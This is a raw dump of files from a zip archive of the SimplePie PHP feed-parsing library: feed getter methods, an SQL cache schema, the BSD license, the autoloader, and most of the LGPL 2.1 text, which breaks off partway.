$this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['xml_lang'])) { return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($this->data['headers']['content-language'])) { return $this->sanitize($this->data['headers']['content-language'], SIMPLEPIE_CONSTRUCT_TEXT); } else { return null; } } /** * Get the latitude coordinates for the item * * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications * * Uses `<geo:lat>` or `<georss:point>` * * @since 1.0 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo * @link http://www.georss.org/ GeoRSS * @return string|null */ public function get_latitude() { if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat')) { return (float) $return[0]['data']; } elseif (($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[1]; } else { return null; } } /** * Get the longitude coordinates for the feed * * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications * * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>` * * @since 1.0 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo * @link http://www.georss.org/ GeoRSS * @return string|null */ public function get_longitude() { if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long')) { return (float) $return[0]['data']; } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon')) { return (float) $return[0]['data']; } elseif (($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[2]; } else { return null; } } /** * Get the feed logo's title * * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" title. * * Uses `<image><title>` or `<image><dc:title>` * * @return string|null */ public function get_image_title() { if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { return null; } } /** * Get the feed logo's URL * * RSS 0.9.0, 2.0, Atom 1.0, and feeds with iTunes RSS tags are allowed to * have a "feed logo" URL. This points directly to the image itself. * * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`, * `<image><title>` or `<image><dc:title>` * * @return string|null */ public function get_image_url() { if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image')) { return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'url')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'url')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } else { return null; } } /** * Get the feed logo's link * * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" link. This * points to a human-readable page that the image should link to. * * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`, * `<image><title>` or `<image><dc:title>` * * @return string|null */ public function get_image_link() { if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } else { return null; } } /** * Get the feed logo's link * * RSS 2.0 feeds are allowed to have a "feed logo" width. * * Uses `<image><width>` or defaults to 88.0 if no width is specified and * the feed is an RSS 2.0 feed. * * @return int|float|null */ public function get_image_width() { if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'width')) { return round($return[0]['data']); } elseif ($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION && $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url')) { return 88.0; } else { return null; } } /** * Get the feed logo's height * * RSS 2.0 feeds are allowed to have a "feed logo" height. * * Uses `<image><height>` or defaults to 31.0 if no height is specified and * the feed is an RSS 2.0 feed. * * @return int|float|null */ public function get_image_height() { if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'height')) { return round($return[0]['data']); } elseif ($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION && $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url')) { return 31.0; } else { return null; } } /** * Get the number of items in the feed * * This is well-suited for {@link http://php.net/for for()} loops with * {@see get_item()} * * @param int $max Maximum value to return. 0 for no limit * @return int Number of items in the feed */ public function get_item_quantity($max = 0) { $max = (int) $max; $qty = count($this->get_items()); if ($max === 0) { return $qty; } else { return ($qty > $max) ? $max : $qty; } } /** * Get a single item from the feed * * This is better suited for {@link http://php.net/for for()} loops, whereas * {@see get_items()} is better suited for * {@link http://php.net/foreach foreach()} loops. * * @see get_item_quantity() * @since Beta 2 * @param int $key The item that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Item|null */ public function get_item($key = 0) { $items = $this->get_items(); if (isset($items[$key])) { return $items[$key]; } else { return null; } } /** * Get all items from the feed * * This is better suited for {@link http://php.net/for for()} loops, whereas * {@see get_items()} is better suited for * {@link http://php.net/foreach foreach()} loops. * * @see get_item_quantity * @since Beta 2 * @param int $start Index to start at * @param int $end Number of items to return. 0 for all items after `$start` * @return array|null List of {@see SimplePie_Item} objects */ public function get_items($start = 0, $end = 0) { if (!isset($this->data['items'])) { if (!empty($this->multifeed_objects)) { $this->data['items'] = SimplePie::merge_items($this->multifeed_objects, $start, $end, $this->item_limit); } else { $this->data['items'] = array(); if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'entry')) { $keys = array_keys($items); foreach ($keys as $key) { $this->data['items'][] = $this->registry->create('Item', array($this, $items[$key])); } } if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'entry')) { $keys = array_keys($items); foreach ($keys as $key) { $this->data['items'][] = $this->registry->create('Item', array($this, $items[$key])); } } if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'item')) { $keys = array_keys($items); foreach ($keys as $key) { $this->data['items'][] = $this->registry->create('Item', array($this, $items[$key])); } } if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'item')) { $keys = array_keys($items); foreach ($keys as $key) { $this->data['items'][] = $this->registry->create('Item', array($this, $items[$key])); } } if ($items = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'item')) { $keys = array_keys($items); foreach ($keys as $key) { $this->data['items'][] = $this->registry->create('Item', array($this, $items[$key])); } } } } if (!empty($this->data['items'])) { // If we want to order it by date, check if all items have a date, and then sort it if ($this->order_by_date && empty($this->multifeed_objects)) { if (!isset($this->data['ordered_items'])) { $do_sort = true; foreach ($this->data['items'] as $item) { if (!$item->get_date('U')) { $do_sort = false; break; } } $item = null; $this->data['ordered_items'] = $this->data['items']; if ($do_sort) { usort($this->data['ordered_items'], array(get_class($this), 'sort_items')); } } $items = $this->data['ordered_items']; } else { $items = $this->data['items']; } // Slice the data as desired if ($end === 0) { return array_slice($items, $start); } else { return array_slice($items, $start, $end); } } else { return array(); } } /** * Set the favicon handler * * @deprecated Use your own favicon handling instead */ public function set_favicon_handler($page = false, $qs = 'i') { $level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING; trigger_error('Favicon handling has been removed, please use your own handling', $level); return false; } /** * Get the favicon for the current feed * * @deprecated Use your own favicon handling instead */ public function get_favicon() { $level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING; trigger_error('Favicon handling has been removed, please use your own handling', $level); if (($url = $this->get_link()) !== null) { return 'http://g.etfv.co/' . urlencode($url); } return false; } /** * Magic method handler * * @param string $method Method name * @param array $args Arguments to the method * @return mixed */ public function __call($method, $args) { if (strpos($method, 'subscribe_') === 0) { $level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING; trigger_error('subscribe_*() has been deprecated, implement the callback yourself', $level); return ''; } if ($method === 'enable_xml_dump') { $level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING; trigger_error('enable_xml_dump() has been deprecated, use get_raw_data() instead', $level); return false; } $class = get_class($this); $trace = debug_backtrace(); $file = $trace[0]['file']; $line = $trace[0]['line']; trigger_error("Call to undefined method $class::$method() in $file on line $line", E_USER_ERROR); } /** * Sorting callback for items * * @access private * @param SimplePie $a * @param SimplePie $b * @return boolean */ public static function sort_items($a, $b) { return $a->get_date('U') <= $b->get_date('U'); } /** * Merge items from several feeds into one * * If you're merging multiple feeds together, they need to all have dates * for the items or else SimplePie will refuse to sort them. * * @link http://simplepie.org/wiki/tutorial/sort_multiple_feeds_by_time_and_date#if_feeds_require_separate_per-feed_settings * @param array $urls List of SimplePie feed objects to merge * @param int $start Starting item * @param int $end Number of items to return * @param int $limit Maximum number of items per feed * @return array */ public static function merge_items($urls, $start = 0, $end = 0, $limit = 0) { if (is_array($urls) && sizeof($urls) > 0) { $items = array(); foreach ($urls as $arg) { if ($arg instanceof SimplePie) { $items = array_merge($items, $arg->get_items(0, $limit)); } else { trigger_error('Arguments must be SimplePie objects', E_USER_WARNING); } } $do_sort = true; foreach ($items as $item) { if (!$item->get_date('U')) { $do_sort = false; break; } } $item = null; if ($do_sort) { usort($items, array(get_class($urls[0]), 'sort_items')); } if ($end === 0) { return array_slice($items, $start); } else { return array_slice($items, $start, $end); } } else { trigger_error('Cannot merge zero SimplePie objects', E_USER_WARNING); return array(); } } } PKÜ�\Uu !vendor/simplepie/simplepie/db.sqlnu�[���/* SQLite */ CREATE TABLE cache_data ( id TEXT NOT NULL, items SMALLINT NOT NULL DEFAULT 0, data BLOB NOT NULL, mtime INTEGER UNSIGNED NOT NULL ); CREATE UNIQUE INDEX id ON cache_data(id); CREATE TABLE items ( feed_id TEXT NOT NULL, id TEXT NOT NULL, data TEXT NOT NULL, posted INTEGER UNSIGNED NOT NULL ); CREATE INDEX feed_id ON items(feed_id); /* MySQL */ CREATE TABLE `cache_data` ( `id` TEXT CHARACTER SET utf8 NOT NULL, `items` SMALLINT NOT NULL DEFAULT 0, `data` BLOB NOT NULL, `mtime` INT UNSIGNED NOT NULL, UNIQUE ( `id`(125) ) ); CREATE TABLE `items` ( `feed_id` TEXT CHARACTER SET utf8 NOT NULL, `id` TEXT CHARACTER SET utf8 NOT NULL, `data` TEXT CHARACTER SET utf8 NOT NULL, `posted` INT UNSIGNED NOT NULL, INDEX `feed_id` ( `feed_id`(125) ) );PKÜ�\ �&vendor/simplepie/simplepie/LICENSE.txtnu�[���Copyright (c) 2004-2007, Ryan Parman and Geoffrey Sneddon. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the SimplePie Team nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.PKÜ�\����'')vendor/simplepie/simplepie/autoloader.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2009, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ // autoloader spl_autoload_register(array(new SimplePie_Autoloader(), 'autoload')); if (!class_exists('SimplePie')) { trigger_error('Autoloader not registered properly', E_USER_ERROR); } /** * Autoloader class * * @package SimplePie * @subpackage API */ class SimplePie_Autoloader { /** * Constructor */ public function __construct() { $this->path = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'library'; } /** * Autoloader * * @param string $class The name of the class to attempt to load. */ public function autoload($class) { // Only load the class if it starts with "SimplePie" if (strpos($class, 'SimplePie') !== 0) { return; } $filename = $this->path . DIRECTORY_SEPARATOR . str_replace('_', DIRECTORY_SEPARATOR, $class) . '.php'; include $filename; } }PKÜ�\%��@�g�g&vendor/simplepie/simplepie/idn/LICENCEnu�[��� GNU LESSER GENERAL PUBLIC LICENSE Version 2.1, February 1999 Copyright (C) 1991, 1999 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. [This is the first released version of the Lesser GPL. It also counts as the successor of the GNU Library Public License, version 2, hence the version number 2.1.] Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public Licenses are intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This license, the Lesser General Public License, applies to some specially designated software packages--typically libraries--of the Free Software Foundation and other authors who decide to use it. You can use it too, but we suggest you first think carefully about whether this license or the ordinary General Public License is the better strategy to use in any particular case, based on the explanations below. When we speak of free software, we are referring to freedom of use, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish); that you receive source code or can get it if you want it; that you can change the software and use pieces of it in new free programs; and that you are informed that you can do these things. To protect your rights, we need to make restrictions that forbid distributors to deny you these rights or to ask you to surrender these rights. These restrictions translate to certain responsibilities for you if you distribute copies of the library or if you modify it. For example, if you distribute copies of the library, whether gratis or for a fee, you must give the recipients all the rights that we gave you. You must make sure that they, too, receive or can get the source code. If you link other code with the library, you must provide complete object files to the recipients, so that they can relink them with the library after making changes to the library and recompiling it. And you must show them these terms so they know their rights. We protect your rights with a two-step method: (1) we copyright the library, and (2) we offer you this license, which gives you legal permission to copy, distribute and/or modify the library. To protect each distributor, we want to make it very clear that there is no warranty for the free library. Also, if the library is modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others. Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a restrictive license from a patent holder. Therefore, we insist that any patent license obtained for a version of the library must be consistent with the full freedom of use specified in this license. Most GNU software, including some libraries, is covered by the ordinary GNU General Public License. This license, the GNU Lesser General Public License, applies to certain designated libraries, and is quite different from the ordinary General Public License. We use this license for certain libraries in order to permit linking those libraries into non-free programs. When a program is linked with a library, whether statically or using a shared library, the combination of the two is legally speaking a combined work, a derivative of the original library. The ordinary General Public License therefore permits such linking only if the entire combination fits its criteria of freedom. The Lesser General Public License permits more lax criteria for linking other code with the library. We call this license the "Lesser" General Public License because it does Less to protect the user's freedom than the ordinary General Public License. It also provides other free software developers Less of an advantage over competing non-free programs. These disadvantages are the reason we use the ordinary General Public License for many libraries. However, the Lesser license provides advantages in certain special circumstances. For example, on rare occasions, there may be a special need to encourage the widest possible use of a certain library, so that it becomes a de-facto standard. To achieve this, non-free programs must be allowed to use the library. A more frequent case is that a free library does the same job as widely used non-free libraries. In this case, there is little to gain by limiting the free library to free software only, so we use the Lesser General Public License. In other cases, permission to use a particular library in non-free programs enables a greater number of people to use a large body of free software. For example, permission to use the GNU C Library in non-free programs enables many more people to use the whole GNU operating system, as well as its variant, the GNU/Linux operating system. Although the Lesser General Public License is Less protective of the users' freedom, it does ensure that the user of a program that is linked with the Library has the freedom and the wherewithal to run that program using a modified version of the Library. The precise terms and conditions for copying, distribution and modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run. GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License Agreement applies to any software library or other program which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Lesser General Public License (also called "this License"). Each licensee is addressed as "you". A "library" means a collection of software functions and/or data prepared so as to be conveniently linked with application programs (which use some of those functions and data) to form executables. The "Library", below, refers to any such software library or work which has been distributed under these terms. A "work based on the Library" means either the Library or any derivative work under copyright law: that is to say, a work containing the Library or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".) "Source code" for a work means the preferred form of the work for making modifications to it. For a library, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the library. Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Library is not restricted, and output from such a program is covered only if its contents constitute a work based on the Library (independent of the use of the Library in a tool for writing it). Whether that is true depends on what the Library does and what the program that uses the Library does. 1. You may copy and distribute verbatim copies of the Library's complete source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Library. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) The modified work must itself be a software library. b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change. c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License. d) If a facility in the modified Library refers to a function or a table of data to be supplied by an application program that uses the facility, other than as an argument passed when the facility is invoked, then you must make a good faith effort to ensure that, in the event an application does not supply such function or table, the facility still operates, and performs whatever part of its purpose remains meaningful. (For example, a function in a library to compute square roots has a purpose that is entirely well-defined independent of the application. Therefore, Subsection 2d requires that any application-supplied function or table used by this function must be optional: if the application does not supply it, the square root function must still compute square roots.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Library, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Library, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Library. In addition, mere aggregation of another work not based on the Library with the Library (or with a work based on the Library) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may opt to apply the terms of the ordinary GNU General Public License instead of this License to a given copy of the Library. To do this, you must alter all the notices that refer to this License, so that they refer to the ordinary GNU General Public License, version 2, instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices. Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy. This option is useful when you wish to copy part of the code of the Library into a program that is not a library. 4. You may copy and distribute the Library (or a portion or derivative of it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange. If distribution of object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place satisfies the requirement to distribute the source code, even though third parties are not compelled to copy the source along with the object code. 5. A program that contains no derivative of any portion of the Library, but is designed to work with the Library by being compiled or linked with it, is called a "work that uses the Library". Such a work, in isolation, is not a derivative work of the Library, and therefore falls outside the scope of this License. However, linking a "work that uses the Library" with the Library creates an executable that is a derivative of the Library (because it contains portions of the Library), rather than a "work that uses the library". The executable is therefore covered by this License. Section 6 states terms for distribution of such executables. When a "work that uses the Library" uses material from a header file that is part of the Library, the object code for the work may be a derivative work of the Library even though the source code is not. Whether this is true is especially significant if the work can be linked without the Library, or if the work is itself a library. The threshold for this to be true is not precisely defined by law. If such an object file uses only numerical parameters, data structure layouts and accessors, and small macros and small inline functions (ten lines or less in length), then the use of the object file is unrestricted, regardless of whether it is legally a derivative work. (Executables containing this object code plus portions of the Library will still fall under Section 6.) Otherwise, if the work is a derivative of the Library, you may distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself. 6. As an exception to the Sections above, you may also combine or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work under terms of your choice, provided that the terms permit modification of the work for the customer's own use and reverse engineering for debugging such modifications. You must give prominent notice with each copy of the work that the Library is used in it and that the Library and its use are covered by this License. You must supply a copy of this License. If the work during execution displays copyright notices, you must include the copyright notice for the Library among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things: a) Accompany the work with the complete corresponding machine-readable source code for the Library including whatever changes were used in the work (which must be distributed under Sections 1 and 2 above); and, if the work is an executable linked with the Library, with the complete machine-readable "work that uses the Library", as object code and/or source code, so that the user can modify the Library and then relink to produce a modified executable containing the modified Library. (It is understood that the user who changes the contents of definitions files in the Library will not necessarily be able to recompile the application to use the modified definitions.) b) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (1) uses at run time a copy of the library already present on the user's computer system, rather than copying library functions into the executable, and (2) will operate properly with a modified version of the library, if the user installs one, as long as the modified version is interface-compatible with the version that the work was made with. c) Accompany the work with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 6a, above, for a charge no more than the cost of performing this distribution. d) If distribution of the work is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place. e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy. For an executable, the required form of the "work that uses the Library" must include any data and utility programs needed for reproducing the executable from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. It may happen that this requirement contradicts the license restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute. 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined library, provided that the separate distribution of the work based on the Library and of the other library facilities is otherwise permitted, and provided that you do these two things: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities. This must be distributed under the terms of the Sections above. b) Give prominent notice with the combined library of the fact that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 8. You may not copy, modify, sublicense, link with, or distribute the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 9. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Library or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Library (or any work based on the Library), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Library or works based on it. 10. Each time you redistribute the Library (or any work based on the Library), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Library subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License. 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Library at all. For example, if a patent license would not permit royalty-free redistribution of the Library by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Library. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 12. If the distribution and/or use of the Library is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Library under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 13. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation. 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, 